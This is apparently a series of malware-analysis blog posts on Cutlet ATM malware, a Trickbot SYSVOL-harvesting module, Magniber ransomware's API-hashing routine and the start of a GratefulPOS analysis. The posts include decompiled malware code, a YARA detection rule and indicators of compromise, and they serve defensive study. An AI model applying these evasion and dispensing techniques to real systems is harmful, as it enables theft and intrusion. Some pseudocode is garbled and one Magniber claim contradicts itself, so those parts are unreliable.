Let’s Learn: Cutlet ATM Malware Internals

Goal: Analyze the internals of the prolific Cutlet ATM malware.
Sample: fac356509a156a8f11ce69f149198108 

The blog outline is as follows:

I. Cutlet ATM Malware Background
II. Method of Operation
III. Threat Scope 
IV. Cutlet ATM Malware Analysis
A. “start cooking” and “CHECK HEAT” functions
B. Cutlet’s CSCWCNG API calls to dispense and transport cash
V. Possible Mitigation

I. Cutlet ATM Malware Background
This Cutlet malware became one of the most widely used malware targeting Automated Teller Machines (ATMs). The ATM malware is available on the underground and leveraged by multiple actors in numerous ATM jackpotting heists. The malware targets one ATM vendor only, which is Diebold Nixdorf, formerly known as Wincor Nixdorf.
II. Method of Operation 
The Cutlet malware is to be installed into individual ATMs, designed to make targeted machines dispense bills automatically via emptying cash-carrying cassettes. Typically, the ATM malware operation requires two individuals to be involved: one with the direct physical access to the ATM device connected to its backend USB port via a controlled PC; another one – remotely connected and able to release the key to dispense the cash to the first individual. By and large, the Cutlet malware, written in Borland Delphi, demonstrates its developer familiarity with the ATM-specific model proprietary API calls.
III. Threat Scope 
Alongside with the infamous Tyupkin, Skimer, and Ripper ATM malware, the Cutlet ATM malware is a formidable threat on the ATM malware landscape. The surfaced reports generated a significant amount of attention to the malware from the industry(1)(2) and has sparked interest within the cybercriminal underground. 
IV. Cutlet ATM Malware Analysis (version 1.0 F)
A. “start cooking” and “CHECK HEAT” functions
Essentially, while heavily packed, the core Cutlet ATM malware is rather trivial and targets only ATM manufacturer. The variant accepts the integer input from 1-9, which corresponds to ATM cassette slot number from 1-9.

The main malware functions work as follows:

“start cooking!” -> Dispense 50 “CUTLETS” of banknotes count 60
CHECK HEAT” -> Dispense 1 “CUTLET”
“Reset” -> Reset the cash dispensing process
“Stop!” -> Terminates the cash “cooking” process

B. ATM’s CSCWCNG API calls to dispense and transport cash
The malware operates leveraging the Nixdorf proprietary CSCWCNG.DLL API calls to manipulate the machine as follows:

CscCngOpen -> Connect to the ATM cashout module called “CNG” and open the device
CscCngDispense -> Dispense cash function to tray
CscCngTransport -> Transport cash to the collection for pickup

V. Possible Mitigation
Monitoring, and reviewing any third-party applications that leverage the CSCWCNG API calls might assist with mitigating exposure to the Cutlet malware once it is already installed. It might be a good idea to whitelist only necessary applications to allow them to leverage these API calls.

rule crime_win32_atm_cutlet_unpacked_in_memory {
                description = “Detects Cutlet ATM malware”
                author = “@VK_Intel”
                reference = “Detects the Cutlet ATM malware”
                date = “2017-12-26”
                hash = “fac356509a156a8f11ce69f149198108

                $dll = “CSCWCNG.dll” wide ascii

                $dll_proc1 = “CscCngClose” wide ascii
                $dll_proc2 = “CscCngTransport” wide ascii
                $dll_proc3 = “CscCngReset” wide ascii
                $dll_proc4 = “CscCngDispense” wide ascii
                $dll_proc5 = “CscCngOpen” wide ascii

                // CUTLET MALWARE STRINGS
                $str0 = “CSCCNG” wide ascii
                $str1 = “Code:” wide ascii
                $str2 = “Delphi” wide ascii

                $dll and 4 of ($dll_proc*) and all of ($str*)

Update (01-01-2017): The observed Cutlet ATM malware variants are as follows:

CUTLET ATM MD5 Hash Date First Seen Version Seen Filename First Seen Country First Seen
fac356509a156a8f11ce69f149198108 2016-08-04 20:49:28 VERSION 1.0 F cm.vmp.exe & cm17F.exe Unknown & Moldova
ee1b05b6c3b51472c98f3640cdec278b 2017-11-12 12:56:22 VERSION 1.0 F cm17F [1-1139].exe Ukraine
dcf51a144816275fa4e3c3724731dca9 2016-08-18 14:54:11 VERSION 1.0 F cm16F.exe Sweden
3c3a3923e457467c39d0075f5c72a1b7 2017-11-13 08:15:35 VERSION 1.0 F 000538.exe Ukraine
c97d2add446e75f88d65a9f9747e7ef7 2017-11-10 17:36:07 VERSION 1.0 F Cutlet17.exe Russia
27640bb7908ca7303d13d50c14ccf669 2016-08-04 19:48:31 SIMULATOR SOFT Stimulator.exe United States
277ced0b4094ce608bccce5acd24be88 2017-11-13 08:11:14 VERSION 1.0 F 000538 [1-3125].exe Ukraine

The world heatmap of all uploaded variant is as follows displaying Ukraine as the top uploader of Cutlet ATM samples:

Let’s Learn: Introducing New Trickbot LDAP "DomainGrabber" Module

Goal: Reverse the latest Trickbot’s module called “DomainGabber,” also known as “domainDll32,” used for LDAP harvesting of domain controller configuration.



While analyzing one of the latest Trickbot group tag “ser1812/tt0002” (version 1000105-1000106) loaders shared by @dvk01uk found an interesting a Trickbot module titled “domainDll” module. (Tip: the “tt0002” group tag is known as a “Trick Test” tag; it is oftentimes deployed to update the existing config on the victim machine.)

Trickbot “DomainGrabber” outline:

I. Lightweight Directory Access Protocol (LDAP) query for domain controllers
II. Connection to “SYSVOL” domain controller
III. Harvesting domain controller XML configuration

As usual, the decoded module contains four Trickbot exported functions:

The observed Trickbot main config module was as follows (version 1000106):
“domainDll32,” compiled via ‘GCC: (Rev1, Built by MSYS2 project) 7.2.0,’ allows Trickbot operators to collect domain controller information once they are already on the compromised machine. This module is internally called “DomainGrabber” and accepts command “getdata” in order to start harvest domain information. domainDll appears to be aimed at exploiting networks with unsecured domain controllers.

More specifically, this module targets “SYSVOL” for domain configuration information data. According to Microsoft, “SYSVOL is simply a folder which resides on each and every domain controller within the domain. It contains the domains public files that need to be accessed by clients and kept synchronised between domain controllers. The default location for the SYSVOL is C:\Windows\SYSVOL although it can be moved to another location during the promotion of a domain controller. It’s possible but not recommended to relocate the SYSVOL after DC promotion as there is potential for error. The SYSVOL folder can be accessed through its share \\domainname.com\sysvol or the local share name on the server \\servername\sysvol.” 

What is more, SYSVOL stores various logon scripts, group policy and domain configuration XML data that is synchronized among all domain controllers in the network. Essentially, Trickbot grabs credential and group policy information stored in SYSVOL as follows:


Sean Metcalf has an interesting write-up on how LDAP can be exploited for credential and information harvesting highlighting this similar approach leveraged by the Trickbot gang. 

https://platform.twitter.com/widgets.jsI. This Trickbot module was programmed leveraging Active Directory Service Interfaces (ADSI) APIs  to query LDAP.

IIDFromString “{001677D0-FD16-11CE-ABC4-02608C9E7553}
IID_IADsContainer is defined as 001677D0-FD16-11CE-ABC4-02608C9E7553
ads_open = ADsOpenObject(“G”, 0, 0, 1u, &iid, &v11);
DsOpenObject function binds to an ADSI object using explicit user name and password starting with the letter “G”
IIDFromString(L”{00020404-0000-0000-C000-000000000046}”, &iid);
The GUID associated with the IEnumVARIANT interface
IIDFromString(L”{109BA8EC-92F0-11D0-A790-00C04FD8D5A8}”, &iid); 
-IID_IDirectorySearch is defined as 109BA8EC-92F0-11D0-A790-00C04FD8D5A8
The module queries all domain controllers as follows:



II. Trickbot connects to domain  controller and queries SYSVOL leveraging parsing the aforementioned LDAP query.

The relevant pseudocoded C++ function is as follows:

                str_func((int)&name, 260, “%ls”, *(_DWORD *)(v6 + 8));
                v26 = gethostbyname(&name);
                if ( v26 )
                  v25 = (struct in_addr *)*v26->h_addr_list;
                  v2 = inet_ntoa(*v25);
                  MultiByteToWideChar(0, 1u, v2, -1, &WideCharStr, 32);
                  v30 = DsRoleGetPrimaryDomainInformation(0, DsRolePrimaryDomainInfoBasic, &Buffer);
                  if ( v30 )
                    return v21;
                  snwprintf_s(&DstBuf, 260u, 260u, L”\\\\%ls\\SYSVOL\\%ls“, &WideCharStr, *((_DWORD *)Buffer + 3));
                  memset(&Dst, 0, 0x20u);
                  lpName = &DstBuf;
                  v30 = WNetAddConnection2W((LPNETRESOURCEW)&Dst, 0, 0, 0);
                  if ( !v30 )
                    WNetCancelConnection2W(lpName, 0, 0);

III. Finally, Trickbot queries stored domain controller for sensitive XML configurations such as scheduledtasks.xml, datasources.xml printers.xml, and etc.

Some of the mitigations against LDAP exploitation are well-documented in Metcalf’s article listed above. As a general rule of thumb, such configuration files should be secured from any unauthorized access in SYSVOL, and access to them should be monitored.

Let’s Learn: Deep Dive Into Magniber Ransomware PEB Traversal Function

Goal: Reverse the latest Magniber ransomware with the focus on its PEB traversal function resolving APIs to hardcoded hashes.
Original infector: a4100b682b2b63374e4ed2fc937d9b96
Decoded payload: f51a5b8ee6a5f25aa293911702a37a34

  • The ransomware served by Magnitude Exploit Kit (EK), named “Magniber,” specifically targets individuals in the Republic of Korea. Magniber checks that the potential victim’s system default language is Korean (code: 0x0412) via GetSystemDefaultUILanguage; if it is, the ransomware will terminate. Magniber generates a unique command-and-control (C2) server and ransom note website for each victim, only giving a valid response if the victim’s public IP address is located in South Korea.

Malwarebytes’ @hasherezade and FireEye researchers previously extensively covered some of the Magniber ransomware cryptography and basic functionality. The scope of the blog is to unpack the ransomware with the focus on its PEB traversal function resolving APIs to hardcoded hashes.

I. Unpacking Magniber ransomware
II. Victim ID generation function
III. The PEB traversal function resolving hashes to API
IV. Indicators of compromise

I. Unpacking malware
Extract the first-layer Magniber ransomware payload after it decodes and injects itself via  WriteProcessMemory. This process is rather trivial, and it includes simply dumping the buffer in OllyDbg.

II. Victim ID generation function

The very first function the Magniber ransomware performs right after the “start,” which is the main entry, is the DWORD victim ID generation function iterating from 0-9 in one function and from a-z in another one. The passed argument to the function is 19, which signifies the length of the returned bot ID generation function. It is a pretty interesting way to generate victim IDs leveraging GetTickCount Windows API calls iterating through [0-9a-z] characters until it reaches the count of 19 characters.
The C++ function is as follows:
_WORD *__cdecl generator_19_victim_id_string(int a1)
  HANDLE v1; 
  _WORD *v3; 
  int i;

  v1 = GetProcessHeap();
  v3 = HeapAlloc(v1, 8u, 2 * a1 + 2);
  for ( i = 0; i < a1; ++i )
    if ( get_tick_count_func(0, 1) )
      v3[i] = get_tick_count_func(‘0’, ‘9’);
      v3[i] = get_tick_count_func(‘a’, ‘z’);
  v3[a1] = 0;
  return v3;

III. The PEB traversal code resolving hashes to APIs

Here, we observe interesting Magniber ransomware technique for traversing the Process Environment Block (PEB) data. 

PEB is a user-mode data structure that can be used by applications  to get information such as the list of loaded modules, process startup arguments, heap address amongst other useful capabilities. From MSDN more on the PEB structure, read here.
The malware traverses PEB structure to search for module hash match obtaining access to PEB via __readfsdword( 0x30 ) [fs:30h] iterating through loaded modules looking for pFunctionName and matching it with hash via ROTR macro implementing the logic of a rotate right operation.
By and large, this PEB traversal function is used to load hashes and to avoid usual sequence of LoadLibrary and GetProcAddress API from anti-virus basic detection. In this case, the ransomware resolves all Advapi32 cryptography, registry and Internet API calls.
Notably, this PEB traversal is almost an exact copy of the GitHub code belonging to the project “Position Independent Code Bindshell.”

The function C++ code works as follows:

int __cdecl resolve_api_by_hash(int a1)
  int pFunctionName; 
  int v3;
  int v4; 
  int v5; 
  _DWORD *pdwFunctionNameBase;
  int v7;
  int v8;
  unsigned int dwFunctionHash; 
  int dwModuleHash; 
  int v11;
  _BYTE *pTempChar;
  _BYTE *pTempChar_;
  unsigned int i;
  unsigned int j;

  v7 = *(_DWORD *)(*(_DWORD *)(__readfsdword(0x30) + 0xC) + 0xC);// 0x30 = PEB; 0x0C = InLoadOrderModuleList
  while ( *(_DWORD *)(v7 + 0x18) )             
// while (pDataTableEntry->DllBase != NULL))
    dwModuleHash = 0;                           
    v8 = *(_DWORD *)(v7 + 0x18);                
// pDataTableEntry->DllBase
    v3 = *(_DWORD *)(v7 + 0x2C);                
// pDataTableEntry->BaseDllName
    v4 = *(_DWORD *)(v7 + 0x30);                
// pNTHeader
    v5 = *(_DWORD *)(*(_DWORD *)(v8 + 0x3C) + v8 + 0x78);

/*pNTHeader >OptionalHeader.DataDirectory[0].VirtualAddress;dwExportDirRVA
    v7 = *(_DWORD *)v7;
    if ( v5 )                                   
// dwExportDirRVA != 0
      for ( i = 0; i < HIWORD(v3); ++i )        
// calculate module hash
        pTempChar = (_BYTE *)(i + v4);          // pTempChar
        v11 = (dwModuleHash <> 13);
// dwModuleHash = ROTR32( dwModuleHash, 13 )
        if ( (signed int)*(_BYTE *)(i + v4) < ‘a’ )
// if ( *pTempChar >= 0x61 )
          dwModuleHash = v11 + *pTempChar;      
// dwModuleHash += *pTempChar
          dwModuleHash = v11 + *pTempChar – ‘ ‘;
// dwModuleHash += *pTempChar – 0x20
      pdwFunctionNameBase = (_DWORD *)(*(_DWORD *)(v5 + v8 + 0x20) + v8);
// pdwFunctionNameBase = (PDWORD) ((PCHAR) pModuleBase + pExportDir->AddressOfNames)
      for ( j = 0; j < *(_DWORD *)(v5 + v8 + 0x18); ++j )// for (i = 0; i < dwNumFunctions; i++)
        dwFunctionHash = 0;
        pFunctionName = v8 + *pdwFunctionNameBase;
// (PCSTR) (*pdwFunctionNameBase + (ULONG_PTR) pModuleBase)
        pTempChar_ = (_BYTE *)pFunctionName;
          dwFunctionHash = ((dwFunctionHash <> 13)) + *pTempChar_++;
// dwFunctionHash = ROTR32( dwFunctionHash, 13 )
        while ( *(pTempChar_ – 1) );
        if ( dwModuleHash + dwFunctionHash == a1 )
          return *(_DWORD *)(*(_DWORD *)(v5 + v8 + 28) + v8 + 4 * *(_WORD *)(*(_DWORD *)(v5 + v8 + 36) + v8 + 2 * j))
               + v8;
  return 0;


The PEB traversal function leveraged 18 times to import and resolve the following hashes to their respective functions as follows:

Function Location Hash Resolved API
crypto_func+B 0x42131B45 CryptAcquireContextW
crypto_func+1B 0x56622BD6 CryptDestroyHash
crypto_func+2B 0x24FFC058 CryptImportKey
crypto_func+3B 0xCFD1BDA1 CryptSetKeyParam
crypto_func+4B 0xCFB9BDA1 CryptGenKeyParam
extension_match_process+55 0xED7C652 CryptEncrypt
extension_match_process+65 0xE95AC43 CryptDestroyKey
extension_match_process+75 0x56622BD6 CryptReleaseContent
extension_match_process+85 0x2733D478 CryptReleaseContent
http_resolver+96 0xA829563A InternetOpenW
http_resolver+A6 0xF12A8777 InternetOpenUrlW
http_resolver+B6 0xB6B67072 HttpQueryInfoW
http_resolver+C6 0xE2899612 InternetReadFile
http_resolver+D6 0xD46E6BD3 InternetCloseHandle
shadow_copy+505 0x7FEF6E25 RegCreateKeyW
shadow_copy+518 0xBA2A6615 RegSetValueExW
shadow_copy+52B 0x31E0C5ED RegCloseKey
start+526 0xE33D73B4 lstrcpyW
start+536 0xEF53E1DF GetSystemDefaultUILanguage
IV. Indicators of Compromise
Default AES_KEY:

Initialization vector:


The list of the decoded subdomains is as follows:

Tor Domain:
The list of whitelisted directories is as follows:
[‘:\\\\documents and settings\\\\all users\\\\’, ‘:\\\\documents and settings\\\\default user\\\\’, ‘:\\\\documents and settings\\\\localservice\\\\’, ‘:\\\\documents and settings\\\\networkservice\\\\’, ‘\\\\appdata\\\\local\\\\’, ‘\\\\appdata\\\\locallow\\\\’, ‘\\\\appdata\\\\roaming\\\\’, ‘\\\\local settings\\\\’, ‘\\\\public\\\\music\\\\sample music\\\\’, ‘\\\\public\\\\pictures\\\\sample pictures\\\\’, ‘\\\\public\\\\videos\\\\sample videos\\\\’, ‘\\\\tor browser\\\\’, ‘\\\\$recycle.bin’, ‘\\\\$windows.~bt’, ‘\\\\$windows.~ws’, ‘\\\\boot’, ‘\\\\intel’, ‘\\\\msocache’, ‘\\\\perflogs’, ‘\\\\program files (x86)’, ‘\\\\program files’, ‘\\\\programdata’, ‘\\\\recovery’, ‘\\\\recycled’, ‘\\\\recycler’, ‘\\\\system volume information’, ‘\\\\windows.old’, ‘\\\\windows10upgrade’, ‘\\\\windows’, ‘\\\\winnt’]
Targeted extensions:
[‘doc’, ‘docx’, ‘xls’, ‘xlsx’, ‘ppt’, ‘pptx’, ‘pst’, ‘ost’, ‘msg’, ’em’, ‘vsd’, ‘vsdx’, ‘csv’, ‘rtf’, ‘123’, ‘wks’, ‘wk1’, ‘pdf’, ‘dwg’, ‘onetoc2’, ‘snt’, ‘docb’, ‘docm’, ‘dot’, ‘dotm’, ‘dotx’, ‘xlsm’, ‘xlsb’, ‘xlw’, ‘xlt’, ‘xlm’, ‘xlc’, ‘xltx’, ‘xltm’, ‘pptm’, ‘pot’, ‘pps’, ‘ppsm’, ‘ppsx’, ‘ppam’, ‘potx’, ‘potm’, ‘edb’, ‘hwp’, ‘602’, ‘sxi’, ‘sti’, ‘sldx’, ‘sldm’, ‘vdi’, ‘vmx’, ‘gpg’, ‘aes’, ‘raw’, ‘cgm’, ‘nef’, ‘psd’, ‘ai’, ‘svg’, ‘djvu’, ‘sh’, ‘class’, ‘jar’, ‘java’, ‘rb’, ‘asp’, ‘php’, ‘jsp’, ‘brd’, ‘sch’, ‘dch’, ‘dip’, ‘p’, ‘vb’, ‘vbs’, ‘ps1’, ‘js’, ‘asm’, ‘h’, ‘pas’, ‘cpp’, ‘c’, ‘cs’, ‘suo’, ‘sln’, ‘ldf’, ‘mdf’, ‘ibd’, ‘myi’, ‘myd’, ‘frm’, ‘odb’, ‘dbf’, ‘db’, ‘mdb’, ‘accdb’, ‘sq’, ‘sqlitedb’, ‘sqlite3’, ‘asc’, ‘lay6’, ‘lay’, ‘mm’, ‘sxm’, ‘otg’, ‘odg’, ‘uop’, ‘std’, ‘sxd’, ‘otp’, ‘odp’, ‘wb2’, ‘slk’, ‘dif’, ‘stc’, ‘sxc’, ‘ots’, ‘ods’, ‘3dm’, ‘max’, ‘3ds’, ‘uot’, ‘stw’, ‘sxw’, ‘ott’, ‘odt’, ‘pem’, ‘p12’, ‘csr’, ‘crt’, ‘key’, ‘pfx’, ‘der’, ‘1cd’, ‘cd’, ‘arw’, ‘jpe’, ‘eq’, ‘adp’, ‘odm’, ‘dbc’, ‘frx’, ‘db2’, ‘dbs’, ‘pds’, ‘pdt’, ‘dt’, ‘cf’, ‘cfu’, ‘mx’, ‘epf’, ‘kdbx’, ‘erf’, ‘vrp’, ‘grs’, ‘geo’, ‘st’, ‘pff’, ‘mft’, ‘efd’, ‘rib’, ‘ma’, ‘lwo’, ‘lws’, ‘m3d’, ‘mb’, ‘obj’, ‘x’, ‘x3d’, ‘c4d’, ‘fbx’, ‘dgn’, ‘4db’, ‘4d’, ‘4mp’, ‘abs’, ‘adn’, ‘a3d’, ‘aft’, ‘ahd’, ‘alf’, ‘ask’, ‘awdb’, ‘azz’, ‘bdb’, ‘bib’, ‘bnd’, ‘bok’, ‘btr’, ‘cdb’, ‘ckp’, ‘clkw’, ‘cma’, ‘crd’, ‘dad’, ‘daf’, ‘db3’, ‘dbk’, ‘dbt’, ‘dbv’, ‘dbx’, ‘dcb’, ‘dct’, ‘dcx’, ‘dd’, ‘df1’, ‘dmo’, ‘dnc’, ‘dp1’, ‘dqy’, ‘dsk’, ‘dsn’, ‘dta’, ‘dtsx’, ‘dx’, ‘eco’, ‘ecx’, ’emd’, ‘fcd’, ‘fic’, ‘fid’, ‘fi’, ‘fm5’, ‘fo’, ‘fp3’, ‘fp4’, ‘fp5’, ‘fp7’, ‘fpt’, ‘fzb’, ‘fzv’, ‘gdb’, ‘gwi’, ‘hdb’, ‘his’, ‘ib’, ‘idc’, ‘ihx’, ‘itdb’, ‘itw’, ‘jtx’, ‘kdb’, ‘lgc’, ‘maq’, ‘mdn’, ‘mdt’, ‘mrg’, ‘mud’, ‘mwb’, ‘s3m’, ‘ndf’, ‘ns2’, ‘ns3’, ‘ns4’, ‘nsf’, ‘nv2’, ‘nyf’, ‘oce’, ‘oqy’, ‘ora’, ‘orx’, ‘owc’, ‘owg’, ‘oyx’, ‘p96’, ‘p97’, ‘pan’, ‘pdb’, ‘pdm’, ‘phm’, ‘pnz’, ‘pth’, ‘pwa’, ‘qpx’, ‘qry’, ‘qvd’, ‘rctd’, ‘rdb’, ‘rpd’, ‘rsd’, ‘sbf’, ‘sdb’, ‘sdf’, ‘spq’, ‘sqb’, ‘stp’, ‘str’, ‘tcx’, ‘tdt’, ‘te’, ‘tmd’, ‘trm’, ‘udb’, ‘usr’, ‘v12’, ‘vdb’, ‘vpd’, ‘wdb’, ‘wmdb’, ‘xdb’, ‘xld’, ‘xlgc’, ‘zdb’, ‘zdc’, ‘cdr’, ‘cdr3’, ‘abw’, ‘act’, ‘aim’, ‘ans’, ‘apt’, ‘ase’, ‘aty’, ‘awp’, ‘awt’, ‘aww’, ‘bad’, ‘bbs’, ‘bdp’, ‘bdr’, ‘bean’, ‘bna’, ‘boc’, ‘btd’, ‘cnm’, ‘crw’, ‘cyi’, ‘dca’, ‘dgs’, ‘diz’, ‘dne’, ‘docz’, ‘dsv’, ‘dvi’, ‘dx’, ‘eio’, ‘eit’, ’emlx’, ‘epp’, ‘err’, ‘etf’, ‘etx’, ‘euc’, ‘faq’, ‘fb2’, ‘fb’, ‘fcf’, ‘fdf’, ‘fdr’, ‘fds’, ‘fdt’, ‘fdx’, ‘fdxt’, ‘fes’, ‘fft’, ‘flr’, ‘fodt’, ‘gtp’, ‘frt’, ‘fwdn’, ‘fxc’, ‘gdoc’, ‘gio’, ‘gpn’, ‘gsd’, ‘gthr’, ‘gv’, ‘hbk’, ‘hht’, ‘hs’, ‘htc’, ‘hz’, ‘idx’, ‘ii’, ‘ipf’, ‘jis’, ‘joe’, ‘jp1’, ‘jrtf’, ‘kes’, ‘klg’, ‘knt’, ‘kon’, ‘kwd’, ‘lbt’, ‘lis’, ‘lit’, ‘lnt’, ‘lp2’, ‘lrc’, ‘lst’, ‘ltr’, ‘ltx’, ‘lue’, ‘luf’, ‘lwp’, ‘lyt’, ‘lyx’, ‘man’, ‘map’, ‘mbox’, ‘me’, ‘mel’, ‘min’, ‘mnt’, ‘mwp’, ‘nfo’, ‘njx’, ‘now’, ‘nzb’, ‘ocr’, ‘odo’, ‘of’, ‘oft’, ‘ort’, ‘p7s’, ‘pfs’, ‘pjt’, ‘prt’, ‘psw’, ‘pu’, ‘pvj’, ‘pvm’, ‘pwi’, ‘pwr’, ‘qd’, ‘rad’, ‘rft’, ‘ris’, ‘rng’, ‘rpt’, ‘rst’, ‘rt’, ‘rtd’, ‘rtx’, ‘run’, ‘rzk’, ‘rzn’, ‘saf’, ‘sam’, ‘scc’, ‘scm’, ‘sct’, ‘scw’, ‘sdm’, ‘sdoc’, ‘sdw’, ‘sgm’, ‘sig’, ‘sla’, ‘sls’, ‘smf’, ‘sms’, ‘ssa’, ‘sty’, ‘sub’, ‘sxg’, ‘tab’, ‘tdf’, ‘tex’, ‘text’, ‘thp’, ‘tlb’, ‘tm’, ‘tmv’, ‘tmx’, ‘tpc’, ‘tvj’, ‘u3d’, ‘u3i’, ‘unx’, ‘uof’, ‘upd’, ‘utf8’, ‘utxt’, ‘vct’, ‘vnt’, ‘vw’, ‘wbk’, ‘wcf’, ‘wgz’, ‘wn’, ‘wp’, ‘wp4’, ‘wp5’, ‘wp6’, ‘wp7’, ‘wpa’, ‘wpd’, ‘wp’, ‘wps’, ‘wpt’, ‘wpw’, ‘wri’, ‘wsc’, ‘wsd’, ‘wsh’, ‘wtx’, ‘xd’, ‘xlf’, ‘xps’, ‘xwp’, ‘xy3’, ‘xyp’, ‘xyw’, ‘ybk’, ‘ym’, ‘zabw’, ‘zw’, ‘abm’, ‘afx’, ‘agif’, ‘agp’, ‘aic’, ‘albm’, ‘apd’, ‘apm’, ‘apng’, ‘aps’, ‘apx’, ‘art’, ‘asw’, ‘bay’, ‘bm2’, ‘bmx’, ‘brk’, ‘brn’, ‘brt’, ‘bss’, ‘bti’, ‘c4’, ‘ca’, ‘cals’, ‘can’, ‘cd5’, ‘cdc’, ‘cdg’, ‘cimg’, ‘cin’, ‘cit’, ‘colz’, ‘cpc’, ‘cpd’, ‘cpg’, ‘cps’, ‘cpx’, ‘cr2’, ‘ct’, ‘dc2’, ‘dcr’, ‘dds’, ‘dgt’, ‘dib’, ‘djv’, ‘dm3’, ‘dmi’, ‘vue’, ‘dpx’, ‘wire’, ‘drz’, ‘dt2’, ‘dtw’, ‘dv’, ‘ecw’, ‘eip’, ‘exr’, ‘fa’, ‘fax’, ‘fpos’, ‘fpx’, ‘g3’, ‘gcdp’, ‘gfb’, ‘gfie’, ‘ggr’, ‘gih’, ‘gim’, ‘spr’, ‘scad’, ‘gpd’, ‘gro’, ‘grob’, ‘hdp’, ‘hdr’, ‘hpi’, ‘i3d’, ‘icn’, ‘icon’, ‘icpr’, ‘iiq’, ‘info’, ‘ipx’, ‘itc2’, ‘iwi’, ‘j’, ‘j2c’, ‘j2k’, ‘jas’, ‘jb2’, ‘jbig’, ‘jbmp’, ‘jbr’, ‘jfif’, ‘jia’, ‘jng’, ‘jp2’, ‘jpg2’, ‘jps’, ‘jpx’, ‘jtf’, ‘jw’, ‘jxr’, ‘kdc’, ‘kdi’, ‘kdk’, ‘kic’, ‘kpg’, ‘lbm’, ‘ljp’, ‘mac’, ‘mbm’, ‘mef’, ‘mnr’, ‘mos’, ‘mpf’, ‘mpo’, ‘mrxs’, ‘my’, ‘ncr’, ‘nct’, ‘nlm’, ‘nrw’, ‘oc3’, ‘oc4’, ‘oc5’, ‘oci’, ‘omf’, ‘oplc’, ‘af2’, ‘af3’, ‘asy’, ‘cdmm’, ‘cdmt’, ‘cdmz’, ‘cdt’, ‘cmx’, ‘cnv’, ‘csy’, ‘cv5’, ‘cvg’, ‘cvi’, ‘cvs’, ‘cvx’, ‘cwt’, ‘cxf’, ‘dcs’, ‘ded’, ‘dhs’, ‘dpp’, ‘drw’, ‘dxb’, ‘dxf’, ‘egc’, ’emf’, ‘ep’, ‘eps’, ‘epsf’, ‘fh10’, ‘fh11’, ‘fh3’, ‘fh4’, ‘fh5’, ‘fh6’, ‘fh7’, ‘fh8’, ‘fif’, ‘fig’, ‘fmv’, ‘ft10’, ‘ft11’, ‘ft7’, ‘ft8’, ‘ft9’, ‘ftn’, ‘fxg’, ‘gem’, ‘glox’, ‘hpg’, ‘hpg’, ‘hp’, ‘idea’, ‘igt’, ‘igx’, ‘imd’, ‘ink’, ‘lmk’, ‘mgcb’, ‘mgmf’, ‘mgmt’, ‘mt9’, ‘mgmx’, ‘mgtx’, ‘mmat’, ‘mat’, ‘ovp’, ‘ovr’, ‘pcs’, ‘pfv’, ‘plt’, ‘vrm’, ‘pobj’, ‘psid’, ‘rd’, ‘scv’, ‘sk1’, ‘sk2’, ‘ssk’, ‘stn’, ‘svf’, ‘svgz’, ‘tlc’, ‘tne’, ‘ufr’, ‘vbr’, ‘vec’, ‘vm’, ‘vsdm’, ‘vstm’, ‘stm’, ‘vstx’, ‘wpg’, ‘vsm’, ‘xar’, ‘ya’, ‘orf’, ‘ota’, ‘oti’, ‘ozb’, ‘ozj’, ‘ozt’, ‘pa’, ‘pano’, ‘pap’, ‘pbm’, ‘pc1’, ‘pc2’, ‘pc3’, ‘pcd’, ‘pdd’, ‘pe4’, ‘pef’, ‘pfi’, ‘pgf’, ‘pgm’, ‘pi1’, ‘pi2’, ‘pi3’, ‘pic’, ‘pict’, ‘pix’, ‘pjpg’, ‘pm’, ‘pmg’, ‘pni’, ‘pnm’, ‘pntg’, ‘pop’, ‘pp4’, ‘pp5’, ‘ppm’, ‘prw’, ‘psdx’, ‘pse’, ‘psp’, ‘ptg’, ‘ptx’, ‘pvr’, ‘px’, ‘pxr’, ‘pz3’, ‘pza’, ‘pzp’, ‘pzs’, ‘z3d’, ‘qmg’, ‘ras’, ‘rcu’, ‘rgb’, ‘rgf’, ‘ric’, ‘riff’, ‘rix’, ‘rle’, ‘rli’, ‘rpf’, ‘rri’, ‘rs’, ‘rsb’, ‘rsr’, ‘rw2’, ‘rw’, ‘s2mv’, ‘sci’, ‘sep’, ‘sfc’, ‘sfw’, ‘skm’, ‘sld’, ‘sob’, ‘spa’, ‘spe’, ‘sph’, ‘spj’, ‘spp’, ‘sr2’, ‘srw’, ‘wallet’, ‘jpeg’, ‘jpg’, ‘vmdk’, ‘arc’, ‘paq’, ‘bz2’, ‘tbk’, ‘bak’, ‘tar’, ‘tgz’, ‘gz’, ‘7z’, ‘rar’, ‘zip’, ‘backup’, ‘iso’, ‘vcd’, ‘bmp’, ‘png’, ‘gif’, ‘tif’, ‘tiff’, ‘m4u’, ‘m3u’, ‘mid’, ‘wma’, ‘flv’, ‘3g2’, ‘mkv’, ‘3gp’, ‘mp4’, ‘mov’, ‘avi’, ‘asf’, ‘mpeg’, ‘vob’, ‘mpg’, ‘wmv’, ‘fla’, ‘swf’, ‘wav’, ‘mp3’]

Let’s Learn: Reversing "GratefulPOS" Point-of-Sale Malware in-Depth

Goal: Reverse the latest Point-of-Sale (POS) malware dubbed “GratefulPOS” in-depth including some of the notable source code-level insights.

Source: RSA FirstWatch Blog 
POS Malware Brief:
  • POS malware targets targets systems that run physical point-of-sale device and operates by inspecting the process memory for data that matches the structure of credit card data (Track1 and Track2 data), such as the account number, expiration date, and other information stored on a card’s magnetic stripe. After the cards are first scanned, the personal account number (PAN) and accompanying data sit in the point-of-sale system’s memory unencrypted while the system determines where to send it for authorization. 


GratefulPOS Background:
  • Masked as the LogMein software, the GratefulPOS malware appears to have emerged during the fall 2017 shopping season with low detection ratio according to some of the earliest detections displayed on VirusTotal. The first sample was upload in November 2017. Additionally,  this malware appears to be related to the Framework POS malware, which was linked to some of the high-profile merchant breaches in the past. All in all, the GratefulPOS malware appears to communicate via DNS with the purported “grp1” campaign identifier and contains debug Track 2 data presumably for testing purposes.

Deep dive into the GratefulPOS malware:

I. Malware Service Installation and Persistence
II. Byte String Build and XOR Encoder with Key “0AAh”
III. Memory Scraping Debug Privilege 
IV. Client-Server Communications
V. Logger File and Collector File Generation
VI. Scraping Process Whitelisting
VII. Memory Scraping Logic
VIII. Luhn Algorithm
X. Self-Deletion Process
XI. Yara Signature
I. Malware Service Installation and Persistence
The first thing that this GratefuPOS malware does is creates itself up as a service for persistence.
